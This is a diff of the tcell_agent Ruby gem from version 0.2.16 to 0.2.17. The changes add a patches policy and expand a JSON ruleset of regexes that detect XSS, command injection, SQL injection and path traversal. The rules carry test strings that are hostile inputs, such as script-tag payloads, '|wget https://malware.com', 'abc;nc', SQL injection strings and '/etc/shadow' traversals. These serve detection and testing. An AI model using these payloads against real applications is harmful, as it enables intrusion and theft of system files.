tcell_agent 0.2.16 → 0.2.17
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/tcell_agent/agent/policy_manager.rb +1 -0
- data/lib/tcell_agent/agent/policy_types.rb +5 -2
- data/lib/tcell_agent/appsensor/rules/appsensor_rule_manager.rb +1 -1
- data/lib/tcell_agent/appsensor/rules/appsensor_rule_set.rb +1 -1
- data/lib/tcell_agent/appsensor/rules/baserules.json +117 -36
- data/lib/tcell_agent/configuration.rb +4 -0
- data/lib/tcell_agent/policies/appsensor/injection_sensor.rb +0 -1
- data/lib/tcell_agent/policies/appsensor/sensor.rb +0 -1
- data/lib/tcell_agent/policies/appsensor_policy.rb +18 -7
- data/lib/tcell_agent/policies/patches_policy.rb +52 -0
- data/lib/tcell_agent/rails/middleware/headers_middleware.rb +11 -0
- data/lib/tcell_agent/sensor_events/appsensor_event.rb +0 -5
- data/lib/tcell_agent/version.rb +1 -1
- data/spec/lib/tcell_agent/appsensor/rules/appsensor_rule_set_spec.rb +7 -0
- data/spec/lib/tcell_agent/policies/appsensor_policy_spec.rb +76 -55
- data/spec/lib/tcell_agent/policies/patches_policy_spec.rb +143 -0
- data/spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb +8 -15
- metadata +5 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: b107a46d2c8ac57564b91097fe2c81e412469e7a
|
4
|
+
data.tar.gz: 60487a47c5ad5c02db8188748f9711a6d8a07476
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 52f240c551aa5f4013301031d21570c66ec595eb6e1ac9d454b5b5ede7d649e8924a26acf8fa302c029fd81316472f5771477c2a58afa690cc23617890a39652
|
7
|
+
data.tar.gz: 34e537a766d75d51de5182a2230f66bfbbfbbd67ed34e72cd0ddb652a3bc5a60a8f7f9c86654bf02557450e202819897c66fa4f8874ec46c01dce8fb0a231700
|
@@ -16,6 +16,7 @@ require "tcell_agent/policies/http_redirect_policy"
|
|
16
16
|
require "tcell_agent/policies/secure_headers_policy"
|
17
17
|
require "tcell_agent/policies/honeytokens_policy"
|
18
18
|
require "tcell_agent/policies/appsensor_policy"
|
19
|
+
require "tcell_agent/policies/patches_policy"
|
19
20
|
|
20
21
|
require "tcell_agent/sensor_events/server_agent"
|
21
22
|
|
@@ -12,6 +12,7 @@ require "tcell_agent/policies/honeytokens_policy"
|
|
12
12
|
require "tcell_agent/policies/appsensor_policy"
|
13
13
|
require "tcell_agent/policies/login_fraud_policy"
|
14
14
|
require "tcell_agent/policies/dataloss_policy"
|
15
|
+
require "tcell_agent/policies/patches_policy"
|
15
16
|
|
16
17
|
module TCellAgent
|
17
18
|
class PolicyTypes
|
@@ -24,6 +25,7 @@ module TCellAgent
|
|
24
25
|
HoneyTokens = "exp-honeytokens"
|
25
26
|
LoginFraud = "login"
|
26
27
|
DataLoss = "dlp"
|
28
|
+
Patches = "patches"
|
27
29
|
|
28
30
|
ClassMap = {
|
29
31
|
CSP=>TCellAgent::Policies::ContentSecurityPolicy,
|
@@ -34,8 +36,9 @@ module TCellAgent
|
|
34
36
|
AppSensor=>TCellAgent::Policies::AppSensorPolicy,
|
35
37
|
HoneyTokens=>TCellAgent::Policies::HoneytokensPolicy,
|
36
38
|
LoginFraud=>TCellAgent::Policies::LoginFraudPolicy,
|
37
|
-
DataLoss=>TCellAgent::Policies::DataLossPolicy
|
39
|
+
DataLoss=>TCellAgent::Policies::DataLossPolicy,
|
40
|
+
Patches=>TCellAgent::Policies::PatchesPolicy
|
38
41
|
}
|
39
42
|
|
40
43
|
end
|
41
|
-
end
|
44
|
+
end
|
@@ -21,7 +21,7 @@ module TCellAgent
|
|
21
21
|
@rule_info = {}
|
22
22
|
|
23
23
|
if File.file?(filename)
|
24
|
-
rules_from_file =
|
24
|
+
rules_from_file = JSON.parse(File.open(filename).read)
|
25
25
|
rule_types = rules_from_file.fetch("sensors", {})
|
26
26
|
|
27
27
|
rule_types.each do |sensor_name, sensor_config|
|
@@ -50,7 +50,7 @@ module TCellAgent
|
|
50
50
|
|
51
51
|
return if pattern_id == nil or pattern == nil
|
52
52
|
|
53
|
-
pattern_regex = Regexp.new(pattern)
|
53
|
+
pattern_regex = Regexp.new(pattern, Regexp::MULTILINE | Regexp::IGNORECASE)
|
54
54
|
enabled = rule_dict.fetch("enabled", true)
|
55
55
|
|
56
56
|
rule_pattern = AppSensorRulePattern.new(pattern_id, pattern_regex, enabled)
|
@@ -1,5 +1,5 @@
|
|
1
1
|
{
|
2
|
-
"version":"
|
2
|
+
"version":"20160516",
|
3
3
|
"sensors":{
|
4
4
|
"xss":{
|
5
5
|
"patterns":[
|
@@ -7,43 +7,73 @@
|
|
7
7
|
"title":"Basic Injection",
|
8
8
|
"sophistication":1,
|
9
9
|
"common": "(?:<(script|iframe|embed|frame|frameset|object|img|applet|body|html|style|layer|link|ilayer|meta|bgsound))",
|
10
|
+
"tests": {
|
11
|
+
"shouldFind":["\n\n<scRipT>document.write(1)</script>","<body onload=\"abc\">","<script>alert(123)</script>","<script>alert(\"hellox world\");</script>","9<script/src=http/attacker.com>"],
|
12
|
+
"shouldIgnore":["<h1>hi</h1>","Bob","Script"]
|
13
|
+
},
|
10
14
|
"id": "1"
|
11
15
|
},
|
12
16
|
{
|
13
17
|
"title":"Alert or Event XSS",
|
14
18
|
"sophistication":2,
|
15
19
|
"common": "(?:(alert|on\\w+|function\\s+\\w+)\\s*\\(\\s*(['+\\d\\w](,?\\s*['+\\d\\w]*)*)*\\s*\\))",
|
20
|
+
"tests":{
|
21
|
+
"shouldFind":["<input onmouseover='alert(1)'>","<input/onmouseover='alert(1)'>"],
|
22
|
+
"shouldIgnore":["<h1>hi</h1>","Bob","Sammy"]
|
23
|
+
},
|
16
24
|
"id": "2"
|
17
25
|
},
|
18
|
-
{
|
19
|
-
"title":"Tag Breaks",
|
20
|
-
"sophistication":2,
|
21
|
-
"common": "(?:\\\"[^\\\"]*[^-]?>)|(?:[^\\w\\s]\\s*\\/>)|(?:>\\\")",
|
22
|
-
"id": "3"
|
23
|
-
},
|
24
26
|
{
|
25
27
|
"title":"Attribute Breaks",
|
26
28
|
"sophistication":3,
|
27
|
-
|
28
|
-
|
29
|
+
"common": "(?:\\\"+.*[<=]\\s*\\\"[^\\\"]+\\\")|(?:\\\"\\s*\\w+\\s*=)|(?:>\\w=\\/)|(?:#.+\\)[\\\"\\s]*>)|(?:\\\"\\s*(?:src|style|on\\w+)\\s*=\\s*\\\")|(?:[^\\\"]?\\\"[,;\\s]+\\w*[\\[\\(])(?:^>[\\w\\s]*<\\/?\\w{2,}>)",
|
30
|
+
"tests":{
|
31
|
+
"shouldFind":["<input src=\"b\" onmouseover=\"alert(1)\" test=\"abc\">"],
|
32
|
+
"shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
|
33
|
+
},
|
34
|
+
"id": "4"
|
29
35
|
},
|
30
36
|
{
|
31
37
|
"title":"Basic Obfuscation",
|
32
38
|
"sophistication":3,
|
33
39
|
"common": "(?:[\\\".]script\\s*\\()|(?:\\$\\$?\\s*\\(\\s*[\\w\\\"])|(?:\\/[\\w\\s]+\\/\\.)|(?:=\\s*\\/\\w+\\/\\s*\\.)|(?:(?:this|window|top|parent|frames|self|content)\\[\\s*[(,\\\"]*\\s*[\\w\\$])|(?:,\\s*new\\s+\\w+\\s*[,;)])",
|
34
|
-
|
40
|
+
"tests": {
|
41
|
+
"shouldFind":[",YAHOO.util.Get.script(\"http://ha.ckers.org/xss.js\")"],
|
42
|
+
"shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
|
43
|
+
},
|
44
|
+
"id": "5"
|
35
45
|
},
|
36
46
|
{
|
37
47
|
"title":"Common Concatenation",
|
38
48
|
"sophistication":3,
|
39
49
|
"common": "(?:=\\s*\\w+\\s*\\+\\s*\\\")|(?:\\+=\\s*\\(\\s\\\")|(?:!+\\s*[\\d.,]+\\w?\\d*\\s*\\?)|(?:=\\s*\\[s*\\])|(?:\\\"\\s*\\+\\s*\\\")|(?:[^\\s]\\[\\s*\\d+\\s*\\]\\s*[;+])|(?:\\\"\\s*[&|]+\\s*\\\")|(?:\\/\\s*\\?\\s*\\\")|(?:\\/\\s*\\)\\s*\\[)|(?:\\d\\?.+:\\d)|(?:\\]\\s*\\[\\W*\\w)|(?:[^\\s]\\s*=\\s*\\/)",
|
40
|
-
|
50
|
+
"tests": {
|
51
|
+
"shouldFind":["= werewr + \""],
|
52
|
+
"shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
|
53
|
+
},
|
54
|
+
"id": "6"
|
41
55
|
},
|
42
56
|
{
|
43
57
|
"title":"IFrame Tag Injection",
|
44
58
|
"sophistication":1,
|
45
59
|
"common": "<iframe.*",
|
60
|
+
"tests": {
|
61
|
+
"shouldFind":["Sam\n<h3><iframe/src=\\\\malware.xcc/>"],
|
62
|
+
"shouldIgnore":["<h1>hi</h1>","Bob","Script"]
|
63
|
+
},
|
46
64
|
"id": "7"
|
65
|
+
},
|
66
|
+
{
|
67
|
+
"title":"JavaScript URL",
|
68
|
+
"sophistication":1,
|
69
|
+
"common": "\\b(src|href|lowsrc|url|content)\\b\\W*?\\bjavascript:",
|
70
|
+
"tests": {
|
71
|
+
"shouldFind":["\" href=\"javascript:alert(1)\"","' url='javascript:alert(1)'","<input type=image src=javascript:","<meta http-equiv=\"refresh\" content=\"javascript:..."],
|
72
|
+
"shouldIgnore":["<h1>hi</h1>","Bob","Script"]
|
73
|
+
},
|
74
|
+
"id": "8"
|
75
|
+
|
76
|
+
|
47
77
|
}
|
48
78
|
]
|
49
79
|
},
|
@@ -55,13 +85,20 @@
|
|
55
85
|
"sophistication":2,
|
56
86
|
"id":"1",
|
57
87
|
"common":"(?:[\\;\\|\\`]\\W*?\\bcc|\\b(wget|curl))\\b|\\/cc(?:[\\'\\\"\\|\\;\\`\\-\\s]|$)",
|
58
|
-
"
|
88
|
+
"tests": {
|
89
|
+
"shouldFind":["|wget https://malware.com"],
|
90
|
+
"shouldIgnore":["aB--D_C=","union soldier", "a", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
91
|
+
}
|
59
92
|
},
|
60
93
|
{
|
61
94
|
"title":"Common Command Attempts",
|
62
95
|
"sophistication":1,
|
63
96
|
"id":"2",
|
64
|
-
"common":"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W
|
97
|
+
"common":"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W*?\\/c)|d(?:\\b\\W*?[\\\\/]|\\W*?\\.\\.)|hmod.{0,40}?\\+.{0,3}x))|[\\;\\|\\`]\\W*?\\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\\b|g(?:\\+\\+|cc\b)))",
|
98
|
+
"tests": {
|
99
|
+
"shouldFind":["test|echo hi","abc;nc","`ls /etc/passwd`"],
|
100
|
+
"shouldIgnore":["aB--D_C=","union soldier", "a", "select", "James O'Connor", "Like this or that", "divide and conquer","david;bob"]
|
101
|
+
}
|
65
102
|
}
|
66
103
|
]
|
67
104
|
},
|
@@ -71,7 +108,12 @@
|
|
71
108
|
{
|
72
109
|
"title":"Common Encoding Obfuscations",
|
73
110
|
"sophistication":3,
|
74
|
-
"common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
|
111
|
+
"common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))","common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
|
112
|
+
"java": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|\\{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))","common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|\\{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
|
113
|
+
"tests": {
|
114
|
+
"shouldFind":["') or ('1'='1--","') or ('1'='1--","1 OR '1'!=0","aa' LIKE md5(1) or '1"],
|
115
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
116
|
+
},
|
75
117
|
"id": "1"
|
76
118
|
},
|
77
119
|
{
|
@@ -81,50 +123,80 @@
|
|
81
123
|
"id": "2"
|
82
124
|
},
|
83
125
|
{
|
84
|
-
"title":"
|
126
|
+
"title":"Conditional Attempts",
|
127
|
+
"sophistication":3,
|
128
|
+
"common": "(?:[\\s()]case\\s*\\()|(?:\\)\\s*like\\s*\\()|(?:having\\s*[^\\s]+\\s*[^\\w\\s])|(?:if\\s?\\([\\d\\w]\\s*[=<>~])",
|
129
|
+
"tests": {
|
130
|
+
"shouldFind":["' or id= 1 having 1 #1 !"],
|
131
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
132
|
+
},
|
133
|
+
"id": "7"
|
134
|
+
},
|
135
|
+
{
|
136
|
+
"title":"Union Attempts",
|
137
|
+
"sophistication":3,
|
138
|
+
"java": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
|
139
|
+
"ruby": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
|
140
|
+
"common": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[([]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
|
141
|
+
"tests": {
|
142
|
+
"shouldFind":["‘union select all 1,2,x,x,x,x —-", "‘union select 1,2,3,x,x,x,x,@@version,x–-","‘union select UTL_INADDR.get_host_address,null,null,null,null from dual–-"],
|
143
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
144
|
+
},
|
145
|
+
"id": "8"
|
146
|
+
},
|
147
|
+
{
|
148
|
+
"title":"SQL Comment Sequence",
|
85
149
|
"sophistication":1,
|
86
150
|
"common": "([';]--|--[\\s\\r\\n\\v\\f]|(?:--[^-]*?-)|([^\\-&])#.*?[\\s\\r\\n\\v\\f]|;?\\\\x00)",
|
151
|
+
"tests": {
|
152
|
+
"shouldFind":["'--","1=1;\\x00"],
|
153
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
|
154
|
+
},
|
87
155
|
"id": "3"
|
88
156
|
},
|
89
157
|
{
|
90
|
-
"title":"Extraction Attempts
|
158
|
+
"title":"Extraction Attempts",
|
91
159
|
"sophistication":1,
|
92
160
|
"common": "(?:(?:@.+=\\s*?\\(\\s*?select)|(?:\\d+\\s*?(x?or|div|like|between|and)\\s*?\\d+\\s*?[\\-+])|(?:\\/\\w+;?\\s+(?:having|and|x?or|div|like|between|and|select)\\W)|(?:\\d\\s+group\\s+by.+\\()|(?:(?:;|#|--)\\s*?(?:drop|alter))|(?:(?:;|#|--)\\s*?(?:update|insert)\\s*?\\w{2,})|(?:[^\\w]SET\\s*?@\\w+)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)[\\s(]+\\w+[\\s)]*?[!=+]+[\\s\\d]*?[\\\"'`\u00b4\u2019\u2018=()]))",
|
161
|
+
"tests": {
|
162
|
+
"shouldFind":["';Drop table users"],
|
163
|
+
"shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer", "Sam; James"]
|
164
|
+
},
|
93
165
|
"id": "4"
|
94
|
-
},
|
95
|
-
{
|
96
|
-
"title":"Extraction Attempts 2",
|
97
|
-
"sophistication":2,
|
98
|
-
"pattern": "(?:(?:in\\s*?\\(+\\s*?select)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)\\s+[\\s\\w+]+(?:regexp\\s*?\\(|sounds\\s+like\\s*?[\\\"'`\u00b4\u2019\u2018]|[=\\d]+x))|([\\\"'`\u00b4\u2019\u2018]\\s*?\\d\\s*?(?:--|#))|(?:[\\\"'`\u00b4\u2019\u2018][\\%&<>^=]+\\d\\s*?(=|x?or|div|like|between|and))|(?:[\\\"'`\u00b4\u2019\u2018]\\W+[\\w+-]+\\s*?=\\s*?\\d\\W+[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?is\\s*?\\d.+[\\\"'`\u00b4\u2019\u2018]?\\w)|(?:[\\\"'`\u00b4\u2019\u2018]\\|?[\\w-]{3,}[^\\w\\s.,]+[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?is\\s*?[\\d.]+\\s*?\\W.*?[\\\"'`\u00b4\u2019\u2018]))",
|
99
|
-
"id": "5"
|
100
|
-
},
|
101
|
-
{
|
102
|
-
"title":"Extraction Attempts 3",
|
103
|
-
"sophistication":3,
|
104
|
-
"pattern": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
|
105
|
-
"id": "6"
|
106
166
|
}
|
107
167
|
]
|
108
168
|
},
|
109
169
|
"fpt":{
|
110
170
|
"patterns":[
|
111
171
|
{
|
112
|
-
"title":"
|
113
|
-
"sophistication":
|
172
|
+
"title":"General Traversal",
|
173
|
+
"sophistication":2,
|
114
174
|
"common": "(?:(?:\\/|\\\\)?\\.+(\\/|\\\\)(?:\\.+)?)|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\/[\\w*-]+\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\/(?:%2e){2})",
|
115
175
|
"ruby": "(?:(?:\\/|\\\\)?\\.+(\\/|\\\\)(?:\\.*))|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\/[\\w*-]+\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\/(?:%2e){2})",
|
176
|
+
"tests":{
|
177
|
+
"shouldFind":["/.../.../.../.../.../","\\0../../../../../../etc/passwd","../../../../../../etc/shadow"],
|
178
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
179
|
+
},
|
116
180
|
"id": "1"
|
117
181
|
},
|
118
182
|
{
|
119
|
-
"title":"
|
120
|
-
"sophistication":
|
183
|
+
"title":"Common System Probing",
|
184
|
+
"sophistication":4,
|
121
185
|
"common": "(?:%c0%ae\\/)|(?:(?:\\/|\\\\)(home|conf|usr|etc|proc|opt|s?bin|local|dev|tmp|kern|[br]oot|sys|system|windows|winnt|program|%[a-z_-]{3,}%)(?:\\/|\\\\))|(?:(?:\\/|\\\\)inetpub|localstart\\.asp|boot\\.ini)",
|
186
|
+
"tests":{
|
187
|
+
"shouldFind":["/./././././././././././boot.ini","/home/apache/conf/httpd.conf"],
|
188
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
189
|
+
},
|
122
190
|
"id": "2"
|
123
191
|
},
|
124
192
|
{
|
125
|
-
"title":"Attempt for /etc/passwd",
|
193
|
+
"title":"Attempt for /etc/passwd, shadow",
|
126
194
|
"sophistication":1,
|
127
|
-
"common": "(?:etc\\/\\W*passwd)",
|
195
|
+
"common": "(?:etc\\/\\W*passwd)|(?:etc\\/\\W*shadow)",
|
196
|
+
"tests":{
|
197
|
+
"shouldFind":["/etc/passwd"],
|
198
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
199
|
+
},
|
128
200
|
"id": "3"
|
129
201
|
}
|
130
202
|
]
|
@@ -135,7 +207,12 @@
|
|
135
207
|
"title":"Any Null Byte",
|
136
208
|
"sophistication":1,
|
137
209
|
"id":"1",
|
138
|
-
"common":"\\0"
|
210
|
+
"common":"\\0",
|
211
|
+
"java":"\u0000",
|
212
|
+
"tests":{
|
213
|
+
"shouldFind":["Duh\u0000","\u0000","\n\rOh\u0000No"],
|
214
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
215
|
+
}
|
139
216
|
}
|
140
217
|
]
|
141
218
|
},
|
